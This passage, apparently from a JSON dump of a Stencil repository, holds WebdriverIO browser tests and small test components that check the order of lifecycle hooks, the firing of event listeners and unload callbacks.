expect(loads[4]).toHaveText('componentDidLoad-b');\n    await expect(loads[5]).toHaveText('componentDidLoad-a');\n\n    const updates = await $('.lifecycle-updates-a').$$('li');\n    await expect(updates.length).toBe(6);\n\n    await expect(updates[0]).toHaveText('componentWillUpdate-a');\n    await expect(updates[1]).toHaveText('componentWillUpdate-b');\n    await expect(updates[2]).toHaveText('componentWillUpdate-c');\n    await expect(updates[3]).toHaveText('componentDidUpdate-c');\n    await expect(updates[4]).toHaveText('componentDidUpdate-b');\n    await expect(updates[5]).toHaveText('componentDidUpdate-a');\n  });\n});\n"
  },
  {
    "path": "test/wdio/lifecycle-async/cmp-a.tsx",
    "content": "import { Component, h, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-async-a',\n})\nexport class LifecycleAsyncA {\n  @State() value = '';\n  @State() loads: string[] = [];\n  @State() updates: string[] = [];\n  rendered = 0;\n  componentWillUpdated = false;\n  componentDidUpdated = false;\n\n  @Listen('lifecycleLoad')\n  lifecycleLoad(ev: any) {\n    this.loads = [...this.loads, ev.detail];\n  }\n\n  @Listen('lifecycleUpdate')\n  lifecycleUpdate(ev: any) {\n    this.updates = [...this.updates, ev.detail];\n  }\n\n  async componentWillLoad() {\n    this.loads = [...this.loads, 'componentWillLoad-a'];\n  }\n\n  async componentDidLoad() {\n    this.loads = [...this.loads, 'componentDidLoad-a'];\n  }\n\n  async componentWillUpdate() {\n    if (this.value === 'Updated' && !this.componentWillUpdated) {\n      this.updates = [...this.updates, 'componentWillUpdate-a'];\n      this.componentWillUpdated = true;\n    }\n  }\n\n  async componentDidUpdate() {\n    if (this.value === 'Updated' && !this.componentDidUpdated) {\n      this.updates = [...this.updates, 'componentDidUpdate-a'];\n      this.componentDidUpdated = true;\n    }\n  }\n\n  testClick() {\n    this.value = 'Updated';\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Update\n        </button>\n        <hr />\n        <div>LifecycleAsyncA {this.value}</div>\n        <div class=\"rendered-a\">rendered a: {this.rendered}</div>\n        <div>loads a:</div>\n        <ol class=\"lifecycle-loads-a\">\n          {this.loads.map((load) => {\n            return <li>{load}</li>;\n          })}\n        </ol>\n        <div>updates a:</div>\n        <ol class=\"lifecycle-updates-a\">\n          {this.updates.map((update) => {\n            return <li>{update}</li>;\n          })}\n        </ol>\n        <lifecycle-async-b value={this.value} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-async/cmp-b.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop } from '@stencil/core';\n\nimport { timeout } from './util';\n\n@Component({\n  tag: 'lifecycle-async-b',\n})\nexport class LifecycleAsyncB {\n  @Prop() value = '';\n  rendered = 0;\n\n  @Event() lifecycleLoad!: EventEmitter;\n  @Event() lifecycleUpdate!: EventEmitter;\n\n  async componentWillLoad() {\n    this.lifecycleLoad.emit('componentWillLoad-b');\n  }\n\n  async componentDidLoad() {\n    this.lifecycleLoad.emit('componentDidLoad-b');\n  }\n\n  async componentWillUpdate() {\n    this.lifecycleUpdate.emit('componentWillUpdate-b');\n    await timeout(100);\n  }\n\n  async componentDidUpdate() {\n    this.lifecycleUpdate.emit('componentDidUpdate-b');\n    await timeout(100);\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <hr />\n        <div>LifecycleAsyncB {this.value}</div>\n        <div class=\"rendered-b\">rendered b: {this.rendered}</div>\n        <lifecycle-async-c value={this.value} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-async/cmp-c.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop } from '@stencil/core';\n\nimport { timeout } from './util';\n\n@Component({\n  tag: 'lifecycle-async-c',\n})\nexport class LifecycleAsyncC {\n  @Prop() value = '';\n  rendered = 0;\n\n  @Event() lifecycleLoad!: EventEmitter;\n  @Event() lifecycleUpdate!: EventEmitter;\n\n  async componentWillLoad() {\n    this.lifecycleLoad.emit('componentWillLoad-c');\n  }\n\n  async componentDidLoad() {\n    this.lifecycleLoad.emit('componentDidLoad-c');\n  }\n\n  async componentWillUpdate() {\n    this.lifecycleUpdate.emit('componentWillUpdate-c');\n    await timeout(100);\n  }\n\n  async componentDidUpdate() {\n    this.lifecycleUpdate.emit('componentDidUpdate-c');\n    await timeout(100);\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <hr />\n        <div>LifecycleAsyncC {this.value}</div>\n        <div class=\"rendered-c\">rendered c: {this.rendered}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-async/util.ts",
    "content": "export function timeout(ms: number): Promise<void> {\n  return new Promise((resolve) => {\n    setTimeout(() => resolve(), ms);\n  });\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-basic/cmp-a.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, $$, expect } from '@wdio/globals';\n\ndescribe('lifecycle-basic', function () {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => <lifecycle-basic-a></lifecycle-basic-a>,\n    });\n  });\n\n  it('fire load methods in order', async () => {\n    await $('lifecycle-basic-a').waitForExist();\n\n    let loads = $$('.lifecycle-loads-a li');\n    await expect(loads).toBeElementsArrayOfSize(6);\n    await expect(loads[0]).toHaveText('componentWillLoad-a');\n    await expect(loads[1]).toHaveText('componentWillLoad-b');\n    await expect(loads[2]).toHaveText('componentWillLoad-c');\n    await expect(loads[3]).toHaveText('componentDidLoad-c');\n    await expect(loads[4]).toHaveText('componentDidLoad-b');\n    await expect(loads[5]).toHaveText('componentDidLoad-a');\n\n    let updates = $('.lifecycle-updates-a').$$('li');\n    await expect(updates).toBeElementsArrayOfSize(0);\n\n    const button = $('button');\n    await button.click();\n\n    loads = $$('.lifecycle-loads-a li');\n    await expect(loads).toBeElementsArrayOfSize(6);\n    await expect(loads[0]).toHaveText('componentWillLoad-a');\n    await expect(loads[1]).toHaveText('componentWillLoad-b');\n    await expect(loads[2]).toHaveText('componentWillLoad-c');\n    await expect(loads[3]).toHaveText('componentDidLoad-c');\n    await expect(loads[4]).toHaveText('componentDidLoad-b');\n    await expect(loads[5]).toHaveText('componentDidLoad-a');\n\n    updates = $$('.lifecycle-updates-a li');\n    await expect(updates).toBeElementsArrayOfSize(6);\n    await expect(updates[0]).toHaveText('componentWillUpdate-a');\n    await expect(updates[1]).toHaveText('componentWillUpdate-b');\n    await expect(updates[2]).toHaveText('componentWillUpdate-c');\n    await expect(updates[3]).toHaveText('componentDidUpdate-c');\n    await expect(updates[4]).toHaveText('componentDidUpdate-b');\n    await expect(updates[5]).toHaveText('componentDidUpdate-a');\n  });\n});\n"
  },
  {
    "path": "test/wdio/lifecycle-basic/cmp-a.tsx",
    "content": "import { Component, h, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-basic-a',\n})\nexport class LifecycleBasicA {\n  @State() value = '';\n  @State() rendered = 0;\n  @State() loads: string[] = [];\n  @State() updates: string[] = [];\n  componentWillUpdated = false;\n  componentDidUpdated = false;\n\n  @Listen('lifecycleLoad')\n  lifecycleLoad(ev: any) {\n    this.loads = [...this.loads, ev.detail];\n  }\n\n  @Listen('lifecycleUpdate')\n  lifecycleUpdate(ev: any) {\n    this.updates = [...this.updates, ev.detail];\n  }\n\n  componentWillLoad() {\n    this.loads = [...this.loads, 'componentWillLoad-a'];\n  }\n\n  componentDidLoad() {\n    this.loads = [...this.loads, 'componentDidLoad-a'];\n  }\n\n  componentWillUpdate() {\n    if (this.value === 'Updated' && !this.componentWillUpdated) {\n      this.updates = [...this.updates, 'componentWillUpdate-a'];\n      this.componentWillUpdated = true;\n    }\n  }\n\n  componentDidUpdate() {\n    if (this.value === 'Updated' && !this.componentDidUpdated) {\n      this.updates = [...this.updates, 'componentDidUpdate-a'];\n      this.componentDidUpdated = true;\n    }\n  }\n\n  testClick() {\n    this.value = 'Updated';\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Update\n        </button>\n        <hr />\n        <div>LifecycleBasicA {this.value}</div>\n        <div class=\"rendered-a\">rendered a: {this.rendered}</div>\n        <div>loads a:</div>\n        <ol class=\"lifecycle-loads-a\">\n          {this.loads.map((load) => {\n            return <li>{load}</li>;\n          })}\n        </ol>\n        <div>updates a:</div>\n        <ol class=\"lifecycle-updates-a\">\n          {this.updates.map((update) => {\n            return <li>{update}</li>;\n          })}\n        </ol>\n        <lifecycle-basic-b value={this.value} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-basic/cmp-b.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-basic-b',\n})\nexport class LifecycleBasicB {\n  @Prop() value = '';\n  @State() rendered = 0;\n\n  @Event() lifecycleLoad!: EventEmitter;\n  @Event() lifecycleUpdate!: EventEmitter;\n\n  componentWillLoad() {\n    this.lifecycleLoad.emit('componentWillLoad-b');\n  }\n\n  componentDidLoad() {\n    this.lifecycleLoad.emit('componentDidLoad-b');\n  }\n\n  componentWillUpdate() {\n    this.lifecycleUpdate.emit('componentWillUpdate-b');\n  }\n\n  componentDidUpdate() {\n    this.lifecycleUpdate.emit('componentDidUpdate-b');\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <hr />\n        <div>LifecycleBasicB {this.value}</div>\n        <div class=\"rendered-b\">rendered b: {this.rendered}</div>\n        <lifecycle-basic-c value={this.value} />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-basic/cmp-c.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-basic-c',\n})\nexport class LifecycleBasicC {\n  @Prop() value = '';\n  @State() rendered = 0;\n\n  @Event() lifecycleLoad!: EventEmitter;\n  @Event() lifecycleUpdate!: EventEmitter;\n\n  componentWillLoad() {\n    this.lifecycleLoad.emit('componentWillLoad-c');\n  }\n\n  componentDidLoad() {\n    this.lifecycleLoad.emit('componentDidLoad-c');\n  }\n\n  componentWillUpdate() {\n    this.lifecycleUpdate.emit('componentWillUpdate-c');\n  }\n\n  componentDidUpdate() {\n    this.lifecycleUpdate.emit('componentDidUpdate-c');\n  }\n\n  render() {\n    this.rendered++;\n\n    return (\n      <div>\n        <hr />\n        <div>LifecycleBasicC {this.value}</div>\n        <div class=\"rendered-c\">rendered c: {this.rendered}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-nested/cmp-a.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('lifecycle-nested', () => {\n  beforeEach(() => {\n    render({\n      // Component are nested in reverse alphabetical order\n      template: () => (\n        <>\n          <lifecycle-nested-c>\n            <lifecycle-nested-b>\n              <lifecycle-nested-a></lifecycle-nested-a>\n            </lifecycle-nested-b>\n          </lifecycle-nested-c>\n          <ol id=\"lifecycle-loads\" class=\"lifecycle-loads\"></ol>\n        </>\n      ),\n    });\n  });\n\n  it('fire load methods in order for nested elements', async () => {\n    // the `li` elements we want are in the `ol`!\n    await $('ol').waitForStable();\n    const loads = $('.lifecycle-loads').$$('li');\n    await expect(loads).toBeElementsArrayOfSize(6);\n    await expect(loads[0]).toHaveText('componentWillLoad-c');\n    await expect(loads[1]).toHaveText('componentWillLoad-b');\n    await expect(loads[2]).toHaveText('componentWillLoad-a');\n    await expect(loads[3]).toHaveText('componentDidLoad-a');\n    await expect(loads[4]).toHaveText('componentDidLoad-b');\n    await expect(loads[5]).toHaveText('componentDidLoad-c');\n  });\n});\n"
  },
  {
    "path": "test/wdio/lifecycle-nested/cmp-a.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport output from './output';\n\n@Component({\n  tag: 'lifecycle-nested-a',\n  shadow: true,\n})\nexport class Cmpa {\n  async componentWillLoad() {\n    output('componentWillLoad-a');\n  }\n\n  async componentDidLoad() {\n    output('componentDidLoad-a');\n  }\n\n  render() {\n    return <slot />;\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-nested/cmp-b.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport output from './output';\n\n@Component({\n  tag: 'lifecycle-nested-b',\n  shadow: true,\n})\nexport class Cmpb {\n  async componentWillLoad() {\n    output('componentWillLoad-b');\n  }\n\n  async componentDidLoad() {\n    output('componentDidLoad-b');\n  }\n\n  render() {\n    return <slot />;\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-nested/cmp-c.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\nimport output from './output';\n\n@Component({\n  tag: 'lifecycle-nested-c',\n  shadow: true,\n})\nexport class Cmpc {\n  async componentWillLoad() {\n    output('componentWillLoad-c');\n  }\n\n  componentDidLoad() {\n    output('componentDidLoad-c');\n  }\n\n  render() {\n    return (\n      <Host>\n        <div>hello</div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-nested/output.ts",
    "content": "export default function (msg: string, id = 'lifecycle-loads') {\n  const listEntry = document.createElement('li');\n  listEntry.innerText = msg;\n  document.getElementById(id)!.appendChild(listEntry);\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-unload/cmp-a.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-unload-a',\n  shadow: true,\n})\nexport class LifecycleUnloadA {\n  @Element() el!: HTMLElement;\n  results?: HTMLDivElement | null;\n\n  componentDidLoad() {\n    this.results = this.el.ownerDocument!.body.querySelector('#lifecycle-unload-results') as HTMLDivElement;\n  }\n\n  disconnectedCallback() {\n    const elm = document.createElement('div');\n    elm.textContent = 'cmp-a unload';\n    this.results!.appendChild(elm);\n  }\n\n  render() {\n    return (\n      <main>\n        <header>cmp-a - top</header>\n        <lifecycle-unload-b>cmp-a - middle</lifecycle-unload-b>\n        <footer>cmp-a - bottom</footer>\n      </main>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-unload/cmp-b.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-unload-b',\n  shadow: true,\n})\nexport class LifecycleUnloadB {\n  @Element() el!: HTMLElement;\n  results?: HTMLDivElement;\n\n  componentDidLoad() {\n    this.results = this.el.ownerDocument!.body.querySelector('#lifecycle-unload-results') as HTMLDivElement;\n  }\n\n  disconnectedCallback() {\n    const elm = document.createElement('div');\n    elm.textContent = 'cmp-b unload';\n    this.results!.appendChild(elm);\n  }\n\n  render() {\n    return [\n      <article>cmp-b - top</article>,\n      <section>\n        <slot />\n      </section>,\n      <nav>cmp-b - bottom</nav>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-unload/cmp-root.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('lifecycle-unload', function () {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <div id=\"lifecycle-unload-results\"></div>\n          <hr />\n          <lifecycle-unload-root></lifecycle-unload-root>\n        </>\n      ),\n    });\n  });\n\n  it('fire unload methods', async () => {\n    await $('lifecycle-unload-a').waitForStable();\n    let main = document.body.querySelector('lifecycle-unload-a').shadowRoot.querySelector('main');\n    const children = main.children;\n\n    expect(children[0].textContent.trim()).toBe('cmp-a - top');\n    expect(children[1].textContent.trim()).toBe('cmp-a - middle');\n    expect(children[2].textContent.trim()).toBe('cmp-a - bottom');\n    expect(children[1].shadowRoot.children[0].textContent.trim()).toBe('cmp-b - top');\n    expect(children[1].shadowRoot.children[1].textContent.trim()).toBe('');\n    expect(children[1].shadowRoot.children[2].textContent.trim()).toBe('cmp-b - bottom');\n\n    let unload = document.body.querySelector('#lifecycle-unload-results');\n    expect(unload.children.length).toBe(0);\n\n    await $('button').click();\n    await browser.waitUntil(() => !document.body.querySelector('lifecycle-unload-a'), { timeout: 5000 });\n    const cmpA = document.body.querySelector('lifecycle-unload-a');\n    expect(cmpA).toBe(null);\n\n    unload = document.body.querySelector('#lifecycle-unload-results');\n    expect(unload.children[0].textContent.trim()).toBe('cmp-a unload');\n    expect(unload.children[1].textContent.trim()).toBe('cmp-b unload');\n    expect(unload.children.length).toBe(2);\n\n    await $('button').click();\n    await $('lifecycle-unload-a').waitForStable();\n\n    main = document.body.querySelector('lifecycle-unload-a').shadowRoot.querySelector('main');\n    expect(main.children[0].textContent.trim()).toBe('cmp-a - top');\n    expect(main.children[1].textContent.trim()).toBe('cmp-a - middle');\n    expect(main.children[2].textContent.trim()).toBe('cmp-a - bottom');\n    expect(main.children[1].shadowRoot.children[0].textContent.trim()).toBe('cmp-b - top');\n    expect(main.children[1].shadowRoot.children[1].textContent.trim()).toBe('');\n    expect(main.children[1].shadowRoot.children[2].textContent.trim()).toBe('cmp-b - bottom');\n\n    await $('button').click();\n    await $('#lifecycle-unload-results').waitForStable();\n\n    unload = document.body.querySelector('#lifecycle-unload-results');\n    expect(unload.children[0].textContent.trim()).toBe('cmp-a unload');\n    expect(unload.children[1].textContent.trim()).toBe('cmp-b unload');\n    expect(unload.children[2].textContent.trim()).toBe('cmp-a unload');\n    expect(unload.children[3].textContent.trim()).toBe('cmp-b unload');\n    expect(unload.children.length).toBe(4);\n  });\n});\n"
  },
  {
    "path": "test/wdio/lifecycle-unload/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-unload-root',\n})\nexport class LifecycleUnloadRoot {\n  @State() renderCmp = true;\n\n  testClick() {\n    this.renderCmp = !this.renderCmp;\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)}>{this.renderCmp ? 'Remove' : 'Add'}</button>\n        {this.renderCmp ? <lifecycle-unload-a></lifecycle-unload-a> : null}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-update/cmp-a.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('lifecycle-update', function () {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <ol id=\"output\"></ol>\n          <hr />\n          <lifecycle-update-a></lifecycle-update-a>\n        </>\n      ),\n    });\n  });\n\n  it('fire load methods in order', async () => {\n    await $('#output').waitForStable();\n    let loads = await $('#output').$$('li');\n    await expect(loads).toBeElementsArrayOfSize(2);\n\n    await expect(loads[0]).toHaveText('lifecycle-update-a componentWillLoad');\n    await expect(loads[1]).toHaveText('lifecycle-update-a componentDidLoad');\n\n    const button = await $('button');\n    await button.click();\n    await $('#output').waitForStable();\n\n    loads = await $('#output').$$('li');\n    await expect(loads).toBeElementsArrayOfSize(9);\n    loads = await $('#output').$$('li');\n\n    await expect(loads[0]).toHaveText('lifecycle-update-a componentWillLoad');\n    await expect(loads[1]).toHaveText('lifecycle-update-a componentDidLoad');\n    await expect(loads[2]).toHaveText('async add child components to lifecycle-update-a 1');\n    await expect(loads[3]).toHaveText('lifecycle-update-a componentWillUpdate 1');\n    await expect(loads[4]).toHaveText('lifecycle-update-b componentWillLoad 1');\n    await expect(loads[5]).toHaveText('lifecycle-update-c componentWillLoad 1');\n    await expect(loads[6]).toHaveText('lifecycle-update-c componentDidLoad 1');\n    await expect(loads[7]).toHaveText('lifecycle-update-b componentDidLoad 1');\n    await expect(loads[8]).toHaveText('lifecycle-update-a componentDidUpdate 1');\n\n    await button.click();\n    await $('#output').waitForStable();\n\n    loads = await $('#output').$$('li');\n    await expect(loads).toBeElementsArrayOfSize(16);\n    loads = await $('#output').$$('li');\n\n    await expect(loads[0]).toHaveText('lifecycle-update-a componentWillLoad');\n    await expect(loads[1]).toHaveText('lifecycle-update-a componentDidLoad');\n    await expect(loads[2]).toHaveText('async add child components to lifecycle-update-a 1');\n    await expect(loads[3]).toHaveText('lifecycle-update-a componentWillUpdate 1');\n    await expect(loads[4]).toHaveText('lifecycle-update-b componentWillLoad 1');\n    await expect(loads[5]).toHaveText('lifecycle-update-c componentWillLoad 1');\n    await expect(loads[6]).toHaveText('lifecycle-update-c componentDidLoad 1');\n    await expect(loads[7]).toHaveText('lifecycle-update-b componentDidLoad 1');\n    await expect(loads[8]).toHaveText('lifecycle-update-a componentDidUpdate 1');\n    await expect(loads[9]).toHaveText('async add child components to lifecycle-update-a 2');\n    await expect(loads[10]).toHaveText('lifecycle-update-a componentWillUpdate 2');\n    await expect(loads[11]).toHaveText('lifecycle-update-b componentWillLoad 2');\n    await expect(loads[12]).toHaveText('lifecycle-update-c componentWillLoad 2');\n    await expect(loads[13]).toHaveText('lifecycle-update-c componentDidLoad 2');\n    await expect(loads[14]).toHaveText('lifecycle-update-b componentDidLoad 2');\n    await expect(loads[15]).toHaveText('lifecycle-update-a componentDidUpdate 2');\n  });\n});\n"
  },
  {
    "path": "test/wdio/lifecycle-update/cmp-a.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-update-a',\n})\nexport class LifecycleUpdateA {\n  @State() values: number[] = [];\n\n  testClick() {\n    this.values.push(this.values.length + 1);\n    this.values = this.values.slice();\n\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:gray\">async add child components to lifecycle-update-a</span> ${\n      this.values[this.values.length - 1]\n    }`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  componentWillLoad() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:maroon\">lifecycle-update-a</span> <span style=\"color:blue\">componentWillLoad</span>`;\n    document.getElementById('output')!.appendChild(li);\n\n    return new Promise((resolve) => {\n      setTimeout(resolve, 10);\n    });\n  }\n\n  componentDidLoad() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:maroon\">lifecycle-update-a</span> <span style=\"color:green\">componentDidLoad</span>`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  componentWillUpdate() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:maroon\">lifecycle-update-a</span> <span style=\"color:cyan\">componentWillUpdate</span> ${\n      this.values[this.values.length - 1]\n    }`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  componentDidUpdate() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:maroon\">lifecycle-update-a</span> <span style=\"color:limegreen\">componentDidUpdate</span> ${\n      this.values[this.values.length - 1]\n    }`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Add Child Components\n        </button>\n        <hr />\n        {this.values.map((value) => {\n          return <lifecycle-update-b value={value}></lifecycle-update-b>;\n        })}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-update/cmp-b.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-update-b',\n})\nexport class LifecycleUpdateB {\n  @Prop() value = 0;\n  start?: number;\n\n  componentWillLoad() {\n    this.start = Date.now();\n\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:red\">lifecycle-update-b</span> <span style=\"color:blue\">componentWillLoad</span> ${this.value}`;\n    document.getElementById('output')!.appendChild(li);\n\n    return new Promise((resolve) => {\n      setTimeout(resolve, 20);\n    });\n  }\n\n  componentDidLoad() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:red\">lifecycle-update-b</span> <span style=\"color:green\">componentDidLoad</span> ${this.value}`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  render() {\n    return (\n      <section>\n        lifecycle-update-b: {this.value}\n        <lifecycle-update-c value={this.value}></lifecycle-update-c>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/lifecycle-update/cmp-c.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'lifecycle-update-c',\n})\nexport class LifecycleUpdateC {\n  @Prop() value = 0;\n  start?: number;\n\n  componentWillLoad() {\n    this.start = Date.now();\n\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:orange\">lifecycle-update-c</span> <span style=\"color:blue\">componentWillLoad</span> ${this.value}`;\n    document.getElementById('output')!.appendChild(li);\n\n    return new Promise((resolve) => {\n      setTimeout(resolve, 30);\n    });\n  }\n\n  componentDidLoad() {\n    const li = document.createElement('li');\n    li.innerHTML = `<span style=\"color:orange\">lifecycle-update-c</span> <span style=\"color:green\">componentDidLoad</span> ${this.value}`;\n    document.getElementById('output')!.appendChild(li);\n  }\n\n  render() {\n    return <span> - lifecycle-update-c: {this.value}</span>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/listen-jsx/cmp-root.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('listen-jsx', function () {\n  beforeEach(() => {\n    render({\n      template: () => <listen-jsx-root></listen-jsx-root>,\n    });\n  });\n\n  it('button click trigger both listeners', async () => {\n    await $('listen-jsx').click();\n    await expect($('#result')).toHaveText('Host event');\n    await expect($('#result-root')).toHaveText('Parent event');\n  });\n});\n"
  },
  {
    "path": "test/wdio/listen-jsx/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'listen-jsx-root',\n})\nexport class AttributeBasicRoot {\n  @State() wasClicked = '';\n\n  private onClick = () => {\n    this.wasClicked = 'Parent event';\n  };\n\n  render() {\n    return [<span id=\"result-root\">{this.wasClicked}</span>, <listen-jsx onClick={this.onClick}></listen-jsx>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/listen-jsx/cmp.tsx",
    "content": "import { Component, h, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'listen-jsx',\n  scoped: true,\n  styles: `\n    :host {\n      background: black;\n      display: block;\n      color: white;\n      width: 100px;\n      height: 100px;\n    }\n  `,\n})\nexport class AttributeBasic {\n  @State() wasClicked = '';\n\n  @Listen('click')\n  onClick() {\n    this.wasClicked = 'Host event';\n  }\n  render() {\n    return <span id=\"result\">{this.wasClicked}</span>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/listen-reattach/cmp-a.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('listen-reattach', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <div class=\"box\">\n            <listen-reattach></listen-reattach>\n            <div class=\"other\">Some other content</div>\n          </div>\n          <button id=\"moveIt\">Move it!!</button>\n        </>\n      ),\n    });\n    const box = document.querySelector('.box');\n    const moveable = document.querySelector('listen-reattach');\n    const button = document.querySelector('#moveIt');\n    button.addEventListener('click', function () {\n      box.appendChild(moveable);\n    });\n  });\n\n  it('should receive click events, remove/attach, and receive more events', async () => {\n    await expect($('#clicked')).toHaveText('Clicked: 0');\n\n    for (let clicks = 1; clicks <= 2; clicks++) {\n      await $('listen-reattach').click();\n      await expect($('#clicked')).toHaveText('Clicked: ' + clicks);\n    }\n\n    await $('#moveIt').click();\n\n    for (let clicks = 3; clicks <= 4; clicks++) {\n      await $('listen-reattach').click();\n      await expect($('#clicked')).toHaveText('Clicked: ' + clicks);\n    }\n  });\n});\n"
  },
  {
    "path": "test/wdio/listen-reattach/cmp-a.tsx",
    "content": "import { Component, h, Host, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'listen-reattach',\n  styles: ':host { display: block; background: gray;}',\n  scoped: true,\n})\nexport class ListenReattach {\n  @State() clicked = 0;\n\n  @Listen('click')\n  click() {\n    this.clicked++;\n  }\n\n  render() {\n    return (\n      <Host>\n        <div id=\"clicked\">Clicked: {this.clicked}</div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/listen-window/cmp-a.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('listen-window', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <listen-window></listen-window>,\n    });\n  });\n\n  it('window should receive click events', async () => {\n    await expect($('#clicked')).toHaveText('Clicked: 0');\n    await $('button').click();\n    await expect($('#clicked')).toHaveText('Clicked: 1');\n  });\n});\n"
  },
  {
    "path": "test/wdio/listen-window/cmp-a.tsx",
    "content": "import { Component, h, Listen, State } from '@stencil/core';\n\n@Component({\n  tag: 'listen-window',\n})\nexport class ListenWindow {\n  @State() clicked = 0;\n  @State() scrolled = 0;\n\n  @Listen('click', { target: 'window' })\n  winClick() {\n    this.clicked++;\n  }\n\n  @Listen('scroll', { target: 'window' })\n  winScroll() {\n    this.scrolled++;\n  }\n\n  render() {\n    return (\n      <div>\n        <div id=\"clicked\">Clicked: {this.clicked}</div>\n        <div>Scrolled: {this.scrolled}</div>\n        <button>Click!</button>\n        <div style={{ background: 'gray', paddingTop: '2000px' }}></div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/manual-slot-assignment/cmp.test.tsx",
